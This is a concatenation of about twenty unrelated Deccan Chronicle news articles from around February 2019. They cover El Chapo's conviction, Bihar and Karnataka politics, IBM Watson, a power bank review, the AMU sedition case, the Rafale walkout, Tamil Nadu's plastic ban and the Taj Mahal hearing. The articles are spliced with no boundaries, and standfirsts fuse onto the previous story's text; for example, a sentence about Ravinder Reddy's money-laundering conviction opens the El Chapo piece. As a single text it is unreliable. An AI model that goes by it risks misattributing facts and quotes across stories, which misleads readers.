Ravinder Reddy was convicted of two counts of money laundering, two counts of causing a trade or business to fail to file a Form 8300, and one count of causing a trade or business to file a Form 8300 containing a material omission and misstatement of facts. In addition, Harsh Jaggi and Adrian Arcinieg-Hernandez were each convicted of two counts of money laundering and Neeru Jaggi was convicted of one count of money laundering.The 61-year-old former boss of the notorious Sinaloa cartel -- famed for his brazen escapes from Mexican prisons -- faces life in prison. (Photo:AP)

New York: Mexican mobster Joaquin "El Chapo" Guzman has been convicted of crimes spanning a quarter-century in a trial that laid bare his lavish lifestyle and penchant for extreme violence as head of one of the world's most powerful gangs.

The 61-year-old former boss of the notorious Sinaloa cartel -- famed for his brazen escapes from Mexican prisons -- faces life in prison for smuggling tons of cocaine, heroin, methamphetamine and marijuana into the United States.

He was also found on Tuesday guilty on money laundering and weapons possession charges during a three-month trial in which witnesses described the mob boss beating, shooting and even burying alive those who got in his way.

"The verdict was a tremendous victory for the rule of law, for Mexico, the United States and other countries that have been victims of the Sinaloa cartel," Mike Vigil, former head of international operations for the US Drug Enforcement Administration, told AFP.

"Chapo Guzman was the world's greatest drug lord of all time," Vigil added. "He surpassed other drug lords, including Pablo Escobar."

In a three-month trial that unfolded like a real-life telenovela, Guzman's ex-henchmen and a former mistress took the stand under the gaze of the stocky gangster, whose nickname is Spanish slang for "shorty."

His young wife, onetime beauty queen Emma Coronel, showed up almost every day in court to be with her husband. After sentencing on June 25, Guzman is likely to be transferred to a so-called "supermax" prison in Colorado, sometimes called the "Alcatraz of the Rockies" and considered one of the most secure in the US.

His conviction is seen as a big win for the US, which failed to obtain the extradition of Escobar, the Colombian drug lord who was killed in a police operation in 1993. Guzman's lawyer Bill Purpura said his client had expected the verdict but was a "guy who never gives up" and had vowed to appeal.

During the trial, the government presented 56 witnesses and troves of incriminating material, including intercepted calls between Guzman and his associates, and conservations taped secretly by informants.

Some of the most eye-watering testimony came from a former hitman who offered gruesome details about acts of torture and killings of rivals personally carried out by his then boss.

Isaias Valdez Rios told the court he saw Guzman leave one captive -- a rival from the Arellano Felix cartel -- in a chicken coop for two days After two interrogations, Guzman shot the man -- before ordering him buried alive.

On another occasion, the court heard, Guzman beat two members of the Zetas cartel with a thick tree branch till their bones were broken before shooting them dead.

Guzman was not on trial for murder, but federal prosecutors attempted to depict him as a violent and ruthless man, ready to do anything to protect his business. Former employees testified that the cartel paid bribes of millions of dollars at the highest levels of government, including to former President Enrique Pena Nieto, who denies the allegation.

The trial also offered a glimpse at the opulent lifestyle led by Guzman, who grew up in poverty. His ex-pilot and former cartel manager for Mexico City testified that Guzman had four airplanes, numerous houses including a mansion in Acapulco, a yacht named "Chapito" and a ranch that included a zoo and a small railway.

In his closing arguments late last month, another of Guzman's lawyers, Jeffrey Lichtman, asked the jury not to convict on the basis of the "garbage" testimony of government witnesses.

Lichtman contended that Guzman was merely a "scapegoat," and that the real culprit in the drug trafficking operations was Ismael "El Mayo" Zambada, the co-founder of the Sinaloa cartel.

"Mayo has been the largest narco trafficker for decades in Mexico. He has never been arrested. He has paid hundreds of millions of dollars to stay free," Lichtman said.

The government, meanwhile, appealed to the jury not to let Guzman "escape" -- an allusion to his two spectacular jail breaks in Mexico, the last in 2015 through a tunnel from a shower area in his cell.

The defense called just one witness, an FBI agent put on the stand in an attempt to undermine the credibility of one of Guzman's cocaine suppliers who had testified against him. The defense's strategy centered on attacking the credibility of the cooperating witnesses -- former secretaries, pilots, cocaine suppliers, Guzman's top trafficker in the United States, a manager, an accountant, a former communications chief, and a former lover.

Most are serving prison sentences and hoped to have their penalties reduced in return for their cooperation with prosecutors.Sources said that the RJD has offered 10 seats to the Congress and wants to keep 20-22 of 40 LS seats in Bihar.

Patna: Grand alliance partners are likely to hold a fresh round of discussions by the end of this week to resolve the issue of seat sharing.

Sources said efforts are being made to build a consensus between the two main parties in the alliance, the RJD and the Congress, to resolve the issue at the earliest. Grand alliance insiders said that both the parties have so far failed to agree on the number of seats they would want to contest in the general elections.

Sources said that the RJD has offered 10 seats to the Congress and wants to keep 20-22 of 40 Lok Sabha seats in Bihar. The other partners in the grand alliance are being offered the remaining seats for the general elections.

Grand alliance partners must understand that the RJD has a larger base than any other political parties in Bihar. Efforts are being made to settle the matter soon. The seat-sharing deal will be finalised with consensus. There is no problem, said RJD state president Ram Chandra Purbe.

In the last Lok Sabha election, RJD and Congress had contested 27 and 13 seats.

The RJD won four and the Congress three seats.

However, reports suggest that the Congress wants to contest at least 15 seats this time. Former Union minister and RLSP chief Upendra Kushwaha, who had left NDA and joined hands with grand alliance in December last year, also wants a sizeable seat share for his party.

Other parties waiting for the RJD to settle seat-sharing deal include Mu-kesh Sahanis Vikasheel Insan Party and Sharad Yadavs LJD.Charles King, president at technology consulting firm Pund-IT, described extending Watson to other clouds as a significant step forward in making Watson AI more customer-friendly.

IBM Corp announced on Tuesday that some of its Watson artificial intelligence services will now work on rival cloud computing providers as it seeks to win over customers that want greater flexibility in how they store and analyze data.

The announcement builds on IBMs moves to position its services as compatible with nearly any form of computer infrastructure a customer wants to operate. Other efforts include a pending acquisition of open-source software company Red Hat for $34 billion.

With the change, companies will be able to use Watson AI tools such as Watson Assistant, which can help them develop conversational services such as a virtual customer service agent, in mobile apps hosted on Amazon.com Inc and Microsoft Corp as well as IBM servers.

With most large organizations storing data across hybrid cloud environments, they need the freedom and choice to apply AI to their data wherever it is stored, Rob Thomas, general manager of IBM Data and AI, said in a news release on Tuesday as it opened Think, its annual conference in San Francisco to showcase new technology.

IBM will rely on an open-source software package known as Kubernetes to make the links to rival clouds.

IBM in recent years has sought to bolster its faster-growing cloud and analytics businesses while moving away from slumping hardware products and traditional software offerings.

Charles King, president at technology consulting firm Pund-IT, described extending Watson to other clouds as a significant step forward in making Watson AI more customer-friendly.

Nick Patience, co-founder and research vice president at 451 Research, said IBMs strategy is an acknowledgement that we are living  and will continue to live - in a hybrid cloud environment where companies dont want to be locked into a single cloud vendor for every type of service, be it for AI or anything else.

Click on Deccan Chronicle Technology and Science for the latest news and reviews. Follow us on Facebook, Twitter.The petition, sent by a group that previously dragged WhatsApp to court and a right-wing political activist, comes a day after the panel summoned Twitter chief Jack Dorsey to discuss ways to safeguard citizens rights on social media and online platforms.

Indian activists have petitioned a parliamentary panel to summon the heads of US tech firms including Facebook and Alphabet Incs Google and question them on issues ranging from tax compliance to data privacy.

The petition, sent by a group that previously dragged WhatsApp to court and a right-wing political activist, comes a day after the panel summoned Twitter chief Jack Dorsey to discuss ways to safeguard citizens rights on social media and online platforms.

Social media companies are coming under increased scrutiny in India ahead of elections due before May in which Prime Minister Narendra Modi is seeking another term. Some firms are overhauling policies to curb misinformation ahead of the vote.

In a letter to Anurag Thakur, the chair of the parliamentary panel on information technology (IT), the New Delhi-based Centre For Accountability And Systemic Change (CASC) and right-wing activist K.N. Govindacharya say the global heads of Facebook, its messenger WhatsApp, its photo-sharing platform Instagram, along with the chiefs of Twitter and Google, should all be summoned to answer queries on tax and other issues.

Were calling everyone. But we have to start with someone, said Thakur, when asked about whether the panel he leads would also summon the heads of other online giants.

In the past we called everyone on net neutrality... On this subject also of safeguarding citizens rights and privacy well call everyone concerned. Of course, we have to call those people who are authorized to take decisions and who head organizations.

Facebook, WhatsApp, Instagram and Google did not immediately respond to requests for comment. Twitter declined to comment.

CASC describes itself as a think-tank that takes up public interest issues. Govindacharya is a former member of a Hindu nationalist group that is the ideological parent of Modis Bharatiya Janata Party.

They have asked the IT panel to seek from social media firms a status report on the transfer of sensitive personal data of millions of Indians, according to a copy of the letter seen by Reuters.

CASC has previously taken WhatsApp to court, accusing the messaging platform of not complying with Indias IT laws and not having a local grievance officer.

The Indian IT Act mandates that intermediaries or carriers of content such as WhatsApp, appoint a Grievance Officer to handle any queries, concerns or issues that users of the platform may have that do not come under the purview of other authorities.

WhatsApp has previously said it has both an Indian corporate entity and a grievance officer for Indian users.

Click on Deccan Chronicle Technology and Science for the latest news and reviews. Follow us on Facebook, Twitter.Rating:

Over the past few years, power banks have become more of a necessity than a want. While smartphones have been evolving at a rapid pace, the ever-lasting problem still persists  battery life! In 2019, we are finding handsets with monstrous batteries that aim to provide an all-day life; but somehow, we still are left wanting.

Astrum, a brand that has earned a reputation for providing reliable smartphone accessories has been launching power banks which are well received the world over. Now, with our current handsets all featuring wireless charging of the Qi variety, Astrum believes that they have a market thats worth tapping into. In step, the Astrum PB310 Qi wireless power bank, which as the name suggests is a solution for flagship smartphones from Samsung and Apple.

The Astrum PB310 is marketed at the millennial generation as we are some of the most power-hungry consumers in the world. Somehow, an all-day battery just doesnt last the entire day and we want a solution that can assist us in surviving the day as well as doesnt burn a searing hole in our pocket.

So, is the Astrum PB310 priced at Rs 2,199 worth a buy? Read on to find out.

Design, Build

The Astrum PB310 is dressed in black which is ideal for a professional setting such as an office yet trendy enough for a college-going, student. Featuring a textured design on the face, you see a circular rubberised ring that denotes where your handset needs to be positioned. Thanks to the rubber grip, it helps to keep the smartphone in place so it doesn't slide off.

Four blue LED indicators on the side denote how much juice is left packed in the bank. While this isnt a sure fire way to predict how much charge is left, it does give us a rough estimate of how much to expect in order to charge up a tablet or a smartphone. This isnt the only indicator thats found here. There is also a breathing green LED light on the top, near the ports, to show you when the Qi wireless charging is active. You will find the design a tad shoddy as the light tends to bleed out of the micro USB port thats situated next to it. In fact, this LED light is a bit too bright, so at night, while in use, we found it a little disturbing to sleep next to.

The only button found here is a power button. To initiate the Qi wireless charging, this needs to be pressed. By adding a power button here, Astrum has ensured a fail-safe method for utilising the wireless charging feature only when needed and not constantly on ensures there is no unnecessary battery wastage.

Lastly, the ports found here include a micro USB slot for an input charging method thats rated at 5V - 2A. Also, the USB Type-C port can also top up the power banks charge and it features a rating of 5V - 2A as well. The output charging solutions found here apart from the Qi wireless charger is a standard USB type A. The Qi wireless charging pad is rated at 5V - 2A.

The weight is around 210g and it measures 154 x 75 x 17mm which is approximately the size of an iPhone XR (but a lot thicker) making it easy to tote around in a backpack, handbag or a larger purse. Sadly, you cannot simply place the phone on it and throw it into your backpack. The wireless charger will only work well if the phone is placed exactly on top of the power bank.

Performance

The Astrum PB310 comes with a non-silicone charging pad that holds the smartphone in place. This was our go-to option for charging an iPhone XS Max. With it, we managed to top up the smartphone about three times from a dead battery to 100 per cent. There isnt any fast charging tech embedded in the device so charging it was as long as it would generally take to charge the iPhone from a 5V power socket with the charger and lightning cable it came packaged in. The charging time for the iPhone to be fully charged from a completely depleted battery lasted about three and a half hours.

While the charger works as advertised you have to ensure that your smartphone is placed directly on the charging pad. If it is off by even a single centimetre then the wireless charging solution doesnt work. This can be a bit in as theres no guarantee that it will remain in place because of you know  laws of gravity as not only you have to ensure that its placed exactly on the circle but carrying it in the pocket just doesnt charge your phone as it tends to slide away from the circle. This can pose as a major issue for those commuting as theres no guarantee that it will remain in place because of you know  laws of gravity!

A neat feature here is that it has a built-in smart chip, intelligent identification equipment, smart matching and automatic charging current dual USB ports. This means that it wont damage a smartphone by providing a higher voltage than required. The ability to automatically charge a device is a neat feature as all you need to do is plug the charging cable into the power bank and it will start charging automatically. The power bank also comes with Smart IC protection which avoids the circumstances like over-charging, over-discharging and a short circuit.

While the performance is as advertised, theres no real strong point to write home about. However, it does the job it intends and does it well. The battery life of the PB310 will definitely differ from person to person and the more devices that are connected, the faster the battery will drain. With that being said, it is fabricated with a 10000mAh Li-Polymer battery that withstands 500 power cycles and can fully charge most smartphones up to 2-3 times on an average.

Verdict

The Astrum PB310 Qi wireless power bank is priced at Rs 2,199 and comes with a 10000mAh battery it offers great value for money. With a number of flagship handsets supporting this new standard, its a great addition at an attractive price range. As of now, there are very few Qi wireless power banks available in the market, and if youre looking for a solution that can top-up your new iPhone or Samsung flagship, then this is a good choice. However, if we are nitpicking, we would have loved it if there was some fast charging tech equipped here as it could have sweetened the deal.

Click on Deccan Chronicle Technology and Science for the latest news and reviews. Follow us on Facebook, Twitter.The 16th Lok Sabha, which in 2014 ushered in a new brand of aggressive politics for the victors led by Prime Minister Narendra Modi, ended on a deeply divided and fractious note on Wednesday, perfectly capturing the nations mood. The Rajya Sabha too adjourned sine die with the tabling of the CAGs controversial report on the Rafale fighter deal, that generated heat  in keeping with the charged campaign of Congress president Rahul Gandhi across the country, alleging cronyism and corruption on the governments part  and no light.

Not having the numbers in the Upper House, and unable anymore to attract short-term, issue-based allies, the government was obliged to let some of its most keenly favoured proposed laws  that had easily cleared the Lok Sabha, where the BJP-led NDA has a roadrolling majority  lapse. The three crucial bills to fall in this category are the ones on triple talaq, the Citizenship (Amendment) Bill, and the proposed Aadhaar law. The BJP spent considerable political capital on each of these, generating widespread opposition. Its a sign of the times that the entire Northeast was gripped in street protests as the government was compelled to let the bill on allowing religion-based citizenship, that is violative of Article 14 of the Constitution, fall by the wayside.

As the Budget Session of Parliament drew to a close, almost bringing down the curtain on Mr Modis five-year term, the Opposition parties were generating their own momentum in their third meet  this one in the nations capital and hosted by Delhi CM Arvind Kejriwal  to prepare for the coming Lok Sabha polls in which they aim to challenge the BJP and the Narendra

Modi government. Addressing the Congress Parliamentary Party on the last day of this Parliament, UPA chairperson Sonia Gandhi attacked the Modi government for using intimidation tactics against its political opponents. In a sense, this is the leitmotif of the campaign of the governments opponents who have charged the PM with destroying the institutional backbone of Indian democracy for the purpose of achieving partisan objectives.

Although the BJP had won only 31 per cent of the popular vote in 2014, under Mr Modis leadership it took office in a blizzard of goodwill which gave it enormous institutional authority. The PMs promise of achche din; sabka saath, sabka vikas; and his slogan of cooperative federalism were taken seriously and literally by most of the country. However, misguided events over the past five years that had unleashed social fragility, the adoption of unsettling economic policies, and a take-no-prisoners attitude towards political opponents while pursuing a specific ideological stance, led to considerable resentment. This was amply reflected on the last day of Parliament as we head for a fresh general election.Bengaluru: The Opposition BJPs Operation Lotus 3.0 to topple the Congress-JD(S) coalition government may have come to a premature end on Wednesday with the arrival in the assembly of the four Congress rebels and the one JD(S) member who had been hiding out for nearly eight weeks, since the cabinet expansion in late December, and declared their loyalty to their respective parties.

Led by Gokak MLA Ramesh Jarkiholi, who received a warm welcome, he and Congress rebel, Kudligi legislator Mr B. Nagendra, Mr Mahesh Kumtalli of Athani and Umesh Jadhav of Gurmitkal, they are likely to vote in favour of the state Budget on Thursday or Friday, when the Bill is put to vote, ending speculation about the Kumaraswamy government failing to muster the numbers in favour of the budget.

If the budget had been defeated in the Legislature, it would have been a big embarrassment for the coalition. Sources said the rebels may have decided to return to attend the proceedings fearing disqualification proceedings with CLP leader Siddaramaiah approaching the Speaker seeking their disqualification.

While JD(S) member Mr Narayana Gowda claimed that he was hospitalised in Mumbai due to food poisoning, the Congress rebels admitted that there was discontent but asserted that they would remain loyal to the party and not succumb to Operation Lotus.

On Wednesday morning, Mr Narayana Gowda was paraded before the media by Tourism Minister Mr Sa Ra Mahesh. Mr Gowda said that he had business in Mumbai and he kept visiting Mumbai to take care of his business. He also joked that he 'earned his bread' in Mumbai as Mr Sa Ra Mahesh did not gave him an opportunity to set up business in Karnataka.

The Congress rebels, who had earlier assembled in the house of former minister Ramesh Jarkiholi, said that they would attend the session. Mr Jarkiholi admitted that he had some problems in the party but added that he would resolve them in the party forum. On his visit to Mumbai, Mr Jarkiholi said that he was in the commercial capital in connection with his daughter's wedding. He also said that he had a lot of relatives in Mumbai and he had to invite them.

Stating that he had many friends in BJP, including Dr Ashwathnarayana (Malleswaram MLA), Mr Jarkiholi said that there was nothing wrong in visiting their houses. He also asserted that he had never spoken about quitting the Congress.

Another Congress rebel, Kudligi legislator Mr B. Nagendra said that he would talk to the party high command on his problems. Mr Mahesh Kumtalli admitted that discontent in the party had touched extreme proportions but refuted rumours that Mr Jarkiholi was controlling him.

Refusing to comment on veteran Congress leader Mallikarjun Kharge, rebel MLA Umesh Jadhav who was tipped to take on him as a BJP candidate in the Kalaburagi seat, said that he had already given an explanation to CLP leader Siddaramaiah, who was free to initiate action if he had committed any mistake. There were some local problems and these would be discussed with party leaders, he added.Hyderabad: The TRS is revealing its return gift to Andhra Pradesh Chief Minister Chandrababu Naidu ahead of Assembly elections in the state. On Wednesday, social media was abuzz with tweets by TRS supporters about #copycatbabu.

The reference was to the AP Cabinet finalising details of the Annadata Sukhibhava scheme, which is similar to the Rythu Bandhu of the TRS in TS. Not just this welfare scheme but others too that the AP government has announced bear a resemblance to those implemented in TS, such as Haritha Haram, Kalyana Lakshmi, Shaadi Mubarak, KCR Kit, Annapurna Canteen, and the tax exemption on tractors and autos.

That these schemes have been copied from the neighbouring Telugu state has not escaped social media commentators, one of whom said: While he claims of being senior politician in industry with 40 years of experience, but you are senior in copy pasting schemes (sic).Vijayawada: Tenant farmers in Andhra Pradesh will also get assistance of Rs 10,000 along with land-owning farmers in a new scheme, Annadata Sukhibhava, that was cleared by the Cabinet on Wednesday.

While it is modelled on the Rythu Bandhu of the TRS government which gives the assistance to all land-owning farmers, and PM-Kisan of the Central Government which caps the land holding at five acres, the AP scheme follows the one offered by Odisha in covering tenant farmers as well. There is no cap on the land-holding in the AP scheme.

The input cost will be paid in two equal instalments during Kharif and Rabi. The first instalment will be given in the February last week.

The state government had allocated Rs 5,000 crore for the scheme in the Budget last week. Of the Rs 10,000 being offered, Rs 6,000 comes from the PM-Kisan scheme for landed farmers, and Rs 4,000 from the state government. The AP government will bear the entire cost of the scheme for tenant farmers.

Agriculture minister Somireddy Chandramohan Reddy, after the Cabinet meeting, said that the Andhra Pradesh scheme would benefit about 76.21 lakh farmers, who would be paid Rs 7,621 crore. The Centres PM Kisan would have covered about 60 lakh farmers in the state.

He said the government had decided to release Rs 8,000 crore to waive farm loans.

The Cabinet decided to provide smartphones to all members of women SHGs along with a SIM card having three years connectivity.

The Cabinet cleared land allotment to various organisations and institutions in Amaravati and other parts of the state.She also reiterated that Prime Minister Narendra Modis days are over and dared him to arrest her. (Photo: ANI | Twitter)

New Delhi: West Bengal Chief Minister and Trinamool Congress supremo on Wednesday declared that she would fight alongside the Congress and the Left to take on Prime Minister Narendra Modi for the upcoming general elections, regardless of her rivalry with them in Bengal.

"We will fight together with the Congress and the Left at the national level... we will fight in the state but not nationally," Banerjee said, talking about collaborating with the Left for the first time ever.

Banerjee said, Democracy has become Namocracy and the situation in the country is worse than what it was under the emergency,

She also reiterated that Prime Minister Narendra Modis days are over and dared him to arrest her.

Today is the last day of Parliament; Modis expiry date is over. It is only a matter of days, jo darte hain woh marte hain; joh larte hain woh jeet tey hain (Those are scared, perish, those who fight, win), They cant scare us for long. What will Modi do? Send me to jail, set agencies against us or murder us? We are not the ones to be afraid, she said at the Tanashahi Hatao, Desh Bachao (Remove Dictatorship, Save Country) rally in Delhs Jantar Mantar hosted by the Aam Admi party (AAP).

She said Opposition parties will fight unitedly at national level and that she was ready to sacrifice her life and party for the country.

On Wednesday, TMC faced attack from senior state Congress leader Adhir Chowdhury over the Saradha Ponzi scheme, over which several of Banerjees party leaders had been arrested. Banerjee is known to share a good equation with the UPA chairperson. But on Wednesday, when they met at Parliament's Central Hall, the upset Chief Minister said, "We will remember". "We are accusing each other but we are friends," Sonia Gandhi had said.

Banerjee's announcement is part of the opposition's efforts to put behind their differences and come together for a common cause.

Last year, Andhra Chief Minister Chandrababu Naidu, turned his back to three decades of political rivalry and reached out to the Congress. Naidu, in various media interviews admitted that it was a political compulsion.

Although there has been no big announcement, Congress and Kejriwals Aam Aadmi Party, whose differences are well known, are also trying to work together.'They have been elected in the Congress party and living in the Congress party for two decades, I think some good sense has prevailed,' he said. (Photo: ANI | Twitter)

Bengaluru: Karnataka irrigation minister D K Shivakumar on Wednesday confirmed that four dissenting MLAs, who have reportedly gone missing from the last few days, have returned to Bangalore.

There were speculations that these four Congress MLAs - Ramesh Jarhikoli, Umesh Jadhav, Mahesh Kumatalli and N B Nagendra- were in touch with Bhartiya Janata Party (BJP).

They have been elected in the Congress party and living in the Congress party for two decades, I think some good sense has prevailed. We have a report that everyone is back, let us see their actions, Shivakumar said.

Also Read: Karnataka: Dissenting Congress MLAs speak about issues with party leaders

On Monday, Karnataka Congress recommended disqualification of its four MLAs who did not attend the ongoing state budget, as well as the Congress Legislative Party (CLP) meet ahead of the budget.

Meanwhile, taking a jibe at BJP, Karnataka Minister Zameer Ahmed Khan said that those four MLAs have realised that they will have to suffer as what they have chosen was a "wrong path".

BJP led them astray from their path, now they have realised that the path they had chosen was a wrong one and that they will have to suffer on that path. They have now returned home.

He further added that the party high command will decide about the fate of the MLAs, however, the decision to disqualify them has been taken in the CLP meeting.

A letter has already been given to the Governor regarding the matter, he added.Security was beefed up at the Aligarh Muslim University (AMU) after some students and a TV channel crew got into an altercation. (File Photo)

Aligarh: Security was beefed up at the Aligarh Muslim University (AMU) after some students and a TV channel crew got into an altercation over reports of a visit by AIMIM lawmaker Asaduddin Owaisi, police said on Wednesday.

As many as 12 students, including the university's students' union chief, were charged under sedition after a complaint of alleged assault was filed by an ABVP member. After this, a "boycott class" call was given.

The main approach road leading to the university campus at IG Khan crossing was closed by the police as a precautionary measure.

Official sources said internet services will be off in city as a precautionary measure.

Rapid Action Force was also deployed around the campus amid other protests, including one in which a motorcycle belonging to a ABVP member was set on fire, a senior police officer said.

It was not immediately clear if this incident was also related to Mr Owaisi's visit.

ABVP activists staged a protest near the Faiz Gate of the university after some media reports claimed the AIMIM leader was invited to address a function organised by the AMU Students' Union on Tuesday.

They demanded that he be banned from entering the campus. Mr Owaisi, however, did not turn up.

An AMU spokesman said a TV channel team, which had come to cover the anticipated event, had an altercation with some students while they were filming inside the campus.

The spokesman said the channel had not sought permission from authorities for live coverage and when university staff pointed this out, there was a heated exchange in which some students were also involved.

Media persons claimed they were roughed up by some students while they were filming on the campus and their camera was smashed.

Complaints were filed at the Civil Lines Police Station by both the AMU authorities and the TV channel crew.

A complaint was also filed by some Akhil Bharatiya Vidhyarthi Parishad (ABVP) members, who alleged that they were beaten up near the Faiz Gate and a motorcycle, belonging to one of them, was set on fire.

Senior Superintendent of Police Akash Kulhari told PTI that a number of complaints were given by different groups at the Civil Lines police station and the police were still in the process of filing these reports.

Meanwhile, a large group of students of the university gathered at Bab-e-Syed Gate, demanding the suspension of Ajay Singh, a prominent ABVP leader who is a postgraduate student in the Faculty of Law.

He is the grandson of BJP MLA Dalvir Singh.

Late last night, cases under sections 124-A (sedition), section 307 (attempt to murder) and eight other sections of the IPC have been registered against 12 students, including the president of students' union Salman Imtiaz and vice president Union Huzaifa Aamir on the complaint of ABVP activist Mukesh Lodhi.

He alleged that while he was driving across the AMU circle, these students surrounded him and launched a "murderous assault" and raised pro-Pakistan slogans.

Meanwhile, police confirmed that two more complaints were received at Civil Lines police station on behalf of AMU students and AMU officials.

He said these reports were being examined and FIR will be filed "after due investigation".

AMU has issued an advisory to students, asking them "not to move out of campus as a precautionary measure".Party leaders rush to Well of House after Speaker refuses to let Kharge speak.

New Delhi: After constant sloganeering and rushing to the Well of the House by its legislators, the main Opposition Congress staged a walkout from Lok Sabha after its demand for a joint parliamentary committee (JPC) probe in the controversial Rafale deal was rejected.

During the Zero Hour, leader of the Congress in the Lower House Mallikarjun Kharge tried to speak but Speaker Sumitra Mahajan did not allow him to do so and continued with the business of the House.

At this, a visibly upset Mr Kharge asked loudly, What is this? We want JPC.

The Speaker said she was not saying no to anyone. I will allow you to speak when the time will come. Now sit down. You have shouted a lot. Give your throat some rest, she said.

With this, Mr Kharge sat down but said, If you dont allow us to speak, why should we be here.

UPA chairperson Sonia Gandhi, who was sitting next to Mr Kharge, nodded in support.

Mr Kharge soon nudged other Congress MPs to restart the protests and they immediately trooped into the Well, carrying placards and shouting slogans seeking JPC on the Rafale deal.

Alleging corruption, he said a JPC probe was needed to probe the deal.

He also demanded discussion on the issue to which the Speaker said a debate had already taken place in the House.

Mr Kharge said the CAG report on defence was tabled before the Rajya Sabha and was leaked. He said the report was not tabled before Lok Sabha.

Ms Mahajan said the reports were tabled before the Lok Sabha, in an apparent reference to P. Radhakrishnan tabling three CAG reports, including one on defence services.

Intervening, home minister Rajnath Singh said the issue of Rafale has been discussed in the House and even the Supreme Court had given its judgment on it.

The PM is scared of JPC. Since you are not heeding to the demand of JPC, we are staging a walkout, Mr Kharge said. Earlier the proceedings of Lok Sabha were adjourned for nearly 20 minutes.Incriminating materials including arms and ammunition were recovered from the site of encounter. (Photo: Representational | File)

Budgam: Two terrorists were killed on Tuesday in a gun-battle with the security forces in Jammu and Kashmir's Budgam.

Identities and affiliations of the killed terrorists are being ascertained.

Incriminating materials including arms and ammunition were recovered from the site of encounter.

Based on a credible input about the presence of terrorists in Gopalpora area of Chadoora in Budgam district, a cordon and search operation was launched in the intervening night jointly by Police and security forces.

As the searches were going on, the search party was fired upon by the terrorists.

The fire was retaliated leading to a gunfight.

The police has advised citizens not to venture inside encounter zone since such an area can prove dangerous due to stray explosive materials.

People have also been requested to cooperate with police till the area is completely sanitized and cleared of all the explosive materials if any.The government also proposes to levy fines for large, small vendors, commercial complexes and grocery shops, ranging from about Rs 500 to Rs 25,000 for a third time offence.

Chennai: The State government on Wednesday has proposed to impose a fine of upto Rs. one lakh on those violating the ban on plastics in Tamil Nadu.

Aiming to make sure the ban on use of single-use plastic, which came into force from this January 1, will help the government achieve its goal of a plastic-free Tamil Nadu, the government introduced a bill to impose harsh penalties for using the banned plastics.

Introducing the bill in the Assembly Municipal Administration Minister S. P. Velumani said the Tamil Nadu Panchayats (Second Amendment) Act, 2019 penalties for storage, supply, transport, sale and distribution of use and throw plastics, the highest amount of fine for third time offence will be Rs. one lakh.

A penalty of Rs 25,000 and Rs 50,000 would be imposed on the first and second time offenders. The government also proposes to levy fines for large, small vendors, commercial complexes and grocery shops, ranging from about Rs 500 to Rs 25,000 for a third time offence. The move, would facilitate the creation of an environment-friendly Tamil Nadu.

The ban on the use of 14 types of plastics, including carry bags, was announced on World Environment Day last year by Chief Minister Edappadi K. Palaniswami and it excluded milk, curd, oil sachets and medical equipments.

Meanwhile, the forest officials in Tamil Nadu who participated in a cleanliness drive in the Gulf of Mannar on Feb. 12, removed plastic waste. Media report said the initiative was launched following the plastics ban imposed by the State government. The participants were trained in scuba diving. The initiative assumes significance considering the importance of the Mannar Gulf which is a vital marine ecosystem that includes coral reefs, salt marshes, algae communities, mangroves, and seagrasses.New Delhi: The Supreme Court on Wednesday pulled up the Uttar Pradesh government for the poor upkeep of the historic Taj Mahal and asked it to file a fresh vision document within four weeks with respect to the steps it wanted to take in this regard.

A Bench of Justices S.A. Bobde, Sanjay Kishan Kaul and Deepak Gupta expressed displeasure to the counsel for not preserving the ancient monument and to restore its pristine glory.

The bench made it clear to the counsel we will not hear any of your applications without the Vision Document to keep Taj Mahal safe and secure for many centuries. How can we hear the case of a non-vision document? Only after the Vision Document will the case proceed. We are worried about the Taj Mahal. We do not oppose any activity of the government. but we are worried about the location.

It granted four weeks to the State to file a fresh vision document to be prepared in consultation with the Archaeological Survey of India.

The court had earlier asked the expert panel to prepare a complete vision document incorporating all suggestions including the one to increase the forest cover in the Taj Trapezium Zone. They should also take note of the industries in the zone and pollution caused by them. Zone. The TTZ is an area of about 10,400 sq km spread over the districts of Agra, Firozabad, Mathura, Hathras and Etah in Uttar Pradesh and Bharatpur district of Rajasthan.

In the last hearing the court was upset with the damage being caused to Taj and it had orally observed, Either Taj should be preserved or demolished and asked the Centre and others to have a coordinated effort in preparing a vision document. The court observed, If Taj Mahal goes once, you will not get a second chance.

Meanwhile, the Centre told the court that it had communicated to the Uttar Pradesh government to send a proposal to declare Agra as a heritage city. It said that Archaeological Survey of India was in the process of preparing a heritage plan for Taj Mahal. The Bench granted two months for taking a decision in this regard.

The petitioner had told the court that nothing has been done by the authorities to prevent encroachment in and around the Taj. Meenakshi Dhote, Expert member who prepared the draft vision document also submitted that the list of 1167 industries in the Taj Trapezium Zone given to the court is incorrect. The Bench posted the matter for further hearing after four weeks. Eom.Chennai: Chennai and other parts of the state will not face drinking water crisis this summer owing to the all-inclusive measures initiated by the state government anticipating a shortfall and also of the imminent replenishment of 4 TMC water from the Krishna River, municipal administration minister S. P. Velumani said.

Ruling out drinking water scarcity in the metro or in other parts of the state till December-end, Mr Velumani said the government has taken pre-emptive steps on a war-footing as was done during 2017 under the leadership of late Chief Minister J. Jayalalithaa when there was the worst crisis in 142 years in the city. The Minister refuted the opposition charge in the Assembly on Wednesday that Chennai or rest of Tamil Nadu is heading towards a drinking water crisis.

Then Amma (Jayalalithaa) tackled the drought be ensuring a supply of 550 million litres to the residents in Chennai. The drinking water was harnessed from borewells, 22 quarries, Veeranam and Poondi lakes besides water from desalination plants. This time we have elaborately planned to cope with the situation by taking up appropriate works Mr Velumani said.

He added that that though the State had received 54% less rainfall during 2018, the government would follow the 2017 model in tackling the drought-like situation.

During the last two fi-nancial years, the government under Mr Palaniswami had allotted `2,464.80 crore to take up 4,092 different works to augment Chennai drinking water supply. For the year 2019, the government has allotted a total of `158 crore for drought relief works including `122 crore for Chennai Metro Water and `36 crore for TWAD Board to meet the situation in the State.

Listing out the measures undertaken this year, Mr. Velumani said about 30 million cusecs water would be provided by purifying the Singarayapuram quarries at a cost of Rs 11 crore, 10 million cusecs water would be provided at Rs 19.17 crore from Erumaiyur quarries for which tenders have been invited and a second replenishment of water to Veeranam from Mettur is being arranged.

Tenders for sinking nine new borewells for extracting 25 million cusecs water at Rs 6.67 crore have been invited to source water from Neyveli's Gadilam River bed. About 25 million cusecs water would be obtained from Neyveli mine, 40 million cusecs from Paravanaru and 25 million cusecs from Gadilam River. Also water from Poondi, Thamaraipakkam, Rettai Eri, Perumbakkam, Ayanampakkam tanks would be harnessed and a purification plant would be established at Perungudi, he said.

